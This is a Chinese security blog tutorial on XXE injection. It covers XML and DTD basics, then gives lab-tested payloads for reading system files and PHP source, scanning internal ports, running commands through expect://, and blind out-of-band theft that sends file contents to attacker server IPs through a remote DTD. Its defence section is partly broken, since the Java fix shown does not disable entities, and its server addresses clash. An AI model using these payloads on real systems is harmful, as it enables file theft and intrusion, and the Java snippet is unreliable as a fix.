XML外部实体注入原理及案例(XXE注入)

XML介绍

XML(全程EXtensible Markup Language,可拓展标记语言),其本质是一种数据格式,可以用来存储负载的数据结果和数据关系

XML特性

XML是一种标记语言,很类似html

xml中的"<标签名>" 称为一个标签或一个元素,一般是成对出现的

xml中的标签名是可以自己定义是(可扩展),但必须要正确的嵌套!<姓名></姓名>

xml中只能由一个跟标签/xml中的标签可以由属性

xml的设计宗旨是传输数据,而非显示数据

如果一个文本中放置的是xml格式的数据,这个文件就是xml文件,后缀要给上.xml

xml主要作用:传输和存储数据.两个应用程序之间的数据传输可以使用xml格式进行传输

XML结构/类型

XML文档组成结构包括:XML声明.DTD文档类型定义,文档元素

<?xml version="1.0" ?>
<!DOCTYPE note[
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body  (#PCDATA)>
]>
<note>
<to>George</to>
<from>George</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

//PCDATA 的意思是被解析的字符数据

//CDATA 是不会被解析器解析的文本

XML声明

XML文档属性可写在声明中。 utf-8 gbk gb2312 xxx

<!--asdada--> #注释格式

文档类型定义

dtd(文档类型定义)的作用是用于定义xml文档格式的语法规则,它定义了文档可以包含哪些元素和属性,以及这些元素和属性在文档中的结构和顺序

dtd的声明:值xml文档中声明该文档的dtd或dtd来源部分

dtd有两种引用或声明的方式

1.内部dtd:即对xml文档中的元素,属性和实体的dtd的声明都在xml文档中

2.外部dtd:即对xml文档中的元素,属性和实体的dtd的声明都在一个独立的dtd文件(.dtd)中

内部DTD

内部dtd指的是直接在xml文档中声明元素,这时需要在xml的头部声明中添加属性standalone,并将该属性的值为 yes

<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<!DOCTYPE person [ <!-- person根元素 -->
<!ELEMENT person (name,age,address,country,major)> <!--定义person元素有四个元素-->
<!ELEMENT name (#PCDATA)> <!--<!ELEMENT 元素标签-->
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!ELEMENT country (#PCDATA)>
<!ENTITY % name "xiaoming"> <!-- 内部实体声明,声明name实体 -->
]>
<person>
<name>&name</name>
<age>24</age>
<address>1-1-110</address>
<country>China</country>
</person>
外部DTD

外部DTD元素定义在XML文档之外,可以是合法的.dtd文件,也可以是有效的URL。如果要引用外部DTD,那么在 XML的头部声明中,需要设置standalone属性为"no"即: standalone="no"

#引用外部DTD的格式:<!ENTITY 实现名 SYSTEM/PUBLIC "外部DTD的资源地址">

<!ENTITY test SYSTEM "http://www.exp.com/exp.dtd">

DTD文档中的重要关键字

1.DTD的声明(DOCTYPE):定义xml文档类型

2.元素声明(Element):定义xml文档中可以出现哪些元素,以及他们呢出现的顺序和关系

3.实体声明(ENTITY):定义文档中的实体

4.(SYSTEM,PUBLIC(外部资源申请))

实体

实体(ENTITY):如果在xml文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名(类似变量),即一个ENTITY,然后再文档中调用它

内置实体 (Built-in entities)

字符实体 (Character entities)

通⽤实体 (General entities)

参数实体 (Parameter entities)

实体的定义:

#实体定义在 DTD声明中
<?xml version="1.0"?>
<!DOCTYPE sss [
<!ELEMENT sss ANY >
<!ENTITY xxe "hello" > <!--<!ENTITY 实体名称 实体值>-->
]>
#实体的应用在文档元素中
<sss>
<user>&xxe;</user>
<pass>pass</pass>
</sss>
这里定义元素为 ANY 表示可以接受任何元素作为标签,其中"xxe" 就是实体了(相当于一个变量),可以在XML文档
元素中使用 & 符号对实体进行引用。到时候输出的时候 &xxe; 就会被 hello 替换。

声明实体位置

1.内部实体声明

2.外部实体声明

内部实体

<!ENTITY 实体名称 “实体的值”>
一个实体由三部分构成: &符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使
用参数传入xml的,&符号会被认为是参数间的连接符号,示例:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">
]>
<foo>&xxe;</foo>

外部实体

<!ENTITY name SYSTEM "URI/URL">
name实体的名称
SYSTEM关键字
URI/URL是双引号或单引号中包含的外部源的地址
外部实体示例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT foo >
<!ENTITY xxe(实体引用名) SYSTEM "http://www.exp.com/evil.dtd"(实体内容) >
]>
<foo>&xxe;</foo>
这种写法是从外部引入,可以是一个URL链接中的文件,也可以是本地的文件(这也就造成了安全的风险)
如上述案例:XML内容被解析后,文件内容便通过&xxe被存放在了foo元素中,造成了敏感信息的泄露。

参数实体

<!ENTITY % 实体名称 "实体的值">
或
<!ENTITY % 实体名称 SYSTEM "URI">
# 参数实体示例:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx.xx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>
# 外部evil.dtd中的内容:
<!ENTITY evil "file:///c:/windows/win.ini" >
引用公共实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI/URL">

ps:参数实体是再DTD中被引用的,而其余实体是再xml文档中被引用的,另外定义参数实体%后面跟空格

外部引用支持协议

由于xxe漏洞主要是利用引入外部实体,而导致的漏洞,所以这里主要了解外部实体

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,以下是各种语言外部实体的默认协议

根据程序不同,能够引入的实体也是不同的

文档元素

xml属性

xml支持再标签元素中定义属性,写法类似于html

<name changdu="3">Tom</name>

xml特殊字符处理

xml如果向表达特殊字符有两种方法.第一种方法是使用转义字符;第二种方式是使用CDATA区域

方法一:转义字符

转义字符

转移内容

&amp;

&

&lt;

<

&gt;

>

&quot;

引号(")

&nbsp;

空格

方法二:CDATA区域

xml规定,对于CDATA区域内的所有特殊字符不进行解析

<![CDATA[[CDATA区域内容]]]>

XML外部实体注入

漏洞简介

xml'外部实体注入,简称xxe漏洞,引发xxe漏洞的主要原因是xml解析依赖库libxml默认开启了对外部实体的引用,导致服务端再解析用户提交的xml信息时未作处理直接进行解析,导致加载恶意的外部文件和代码,造成任意文件读取,命令执行,内网扫描等危害

1.我们对服务端解析的xml数据时可控的

2.libxml开启了对外部实体的引用

利用条件:

libxml < 2.9 默认开启

ps:不同的xml解析器都有可能存在xxe漏洞,因为xxe漏洞是一种通用的攻击技术,其主要原理时利用解析器对外部实体的支持,导致恶意实体被注入并执行恶意代码

除了libxml外,其他xml解析器和库也可能收到xxe漏洞的影响,例如java中的sax解析,apache,xalan,jdom等,.net中的xmlreadder,xmlserialize等 php中的dom,simplexml等

漏洞危害

xml漏洞发生再应用程序解析xml输入时,没有进制外部实体的加载,导致加载恶意外部文件

文件读取; 内网端口扫描; 攻击内网网站; 命令执行等; doc攻击

漏洞类型

xxe漏洞的输出显示分为:有回显,无回显

有回显就能配合协议以及外部引用进行攻击.

无回显就需要配合外部引用-反向链接配合

XXE攻击-有回显

pikachu
漏洞攻击

1.POC:攻击测试

测试语句,如果能回显出来xxe(我们输入的xml数据,服务器会进行解析)则证明可能粗壮乃xxe漏洞

<?xml version = "1.0"?>
<!DOCTYPE a [<!ENTITY b "xxe">]><c>&b;</c>

2.poc:验证漏洞存在代码

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % xxe SYSTEM "http://DNSLOG.COM" >
%xxe
]>

EXP查看文件

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<a>&xxe;</a>
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<a>&xxe;</a>

exp查看文件源码

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe_1.php" > ]>
<foo>&xxe;</foo>

扫描内网端口IP

通过扫描 ip 和端口确定内网机器的 ip 和端口开发情况,访问端口会获取 baner 信息;

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://127.0.0.1:80/1.txt">
]>
<abc>&test;</abc>

拓展:命令执行

再特定场景下,由于php的expect并不是默认安装拓展,如果安装了这个expect拓展我们就能直接利用xxe进行rce

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://whoami">
]>
<x>&xxe;</x>
XXE-lab靶场
测试回显位置

通过测试,能看到用户名位置存在有回显的,而后面密码字段就无回显.

构造payload测试

读取敏感文件

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY name SYSTEM "file:///c://windows/win.ini">
]>
<user><username>&name;</username><password>1</password></user>

XXE攻击-无回显

误会先的情况又称为blind xxe可以使用外带数据通道提取数据.而且咋i正常的环境下,服务器通常都会把回显取消,因此我们解决该问题的最好的颁发就是使用外带的方式

DNSlog检测

DNSlog位置:

构造payload

其实这里的payload和之前的payload基本你一直,这里需要注意的时,我们复制的子域名时没有http:// 的需要我们自己添加上去,所以修改下payload的时候需要把http:// 后面的内容替换即可,设置好后,点击发送.

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % d SYSTEM "http://vkhqo8.dnslog.cn">
%d;
]>

查看日志记录,发现有记录,证明存在漏洞

无回显数据外带

准备一台攻击服务器(120.46.60.126),并且开启服务器的访问日志.再根目录下创建一个evil.dtd文件

1.服务器开启web服务,再web目录保存evil.dtd文件

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-
encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://120.46.60.126:8000?p=%file;'>">

2.构造Payload

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://43.143.175.225:8000/evil.dtd">
%remote;
%int;
%send;
]>
1. %remote 将我得evil.dtd文件内容引用过来
2. %int <!ENTITY &#37; send SYSTEM 'http://154.204.56.118:8000:8000?p=%file;'>
3. 调用%file参数实体 win.ini内容获取到
4. %send 通过system关键字向外部网站发起数据请求

流程解释:

加载XML -> 调用参数实体%remote -> 远程加载evil.dtd文档(类似于包含) -> 执行evil中 %int参数实体 -> %int参数实体调用%file实体,读取win.ini内容 -> 然后执行%send参数实体,将数据发送到远端服务器中

描述:

我们从payload中能看到连续调用了三个参数实体 %remote; %int; %send; 这就是i我们的利用顺序,%remote先调用,调用后请求远程服务器上的evil.dtd,有点类似于将evil.dtd包含进来,然后%int调用evil.dtd中的%file,%file就会去获取服务器上的敏感文件,然后将%file的结果填入到%send 以后 (因为实体的值中不能有%,所以将其转成html实体编码%),我们再调用%send;把我们读取到的数据发送到我们的远程vps上 这样就实现了外带数据的效果,完美的解决了xxe无回显的问题

漏洞挖掘与修复

漏洞挖掘

手工挖掘

关注提交数据的类型.如果时xml格式的,就可以进行测试

关注数据包的Content-type值.如果时text/xml或者时application/xml,就可以关注该数据包

还可以尝试更改content-type值,例如原来的content-type时json,发送的也是json格式的数据,我们将content-type类型改为xml,数据也改为xml后,尝试是否可以成功

# 普通的请求包:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
# 可以替换为:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<foo>bar</foo>
防御方式

1.使用开发语言提供的禁用外部实体的方法:

PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户的输入

过滤用户提交的XML数据 ,关键词:、、SYSTEM、PUBLIC file gopher

3.升级libxml组件

扩展:

XXE Payload Listhttps://github.com/payloadbox/xxe-injection-payload-list

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值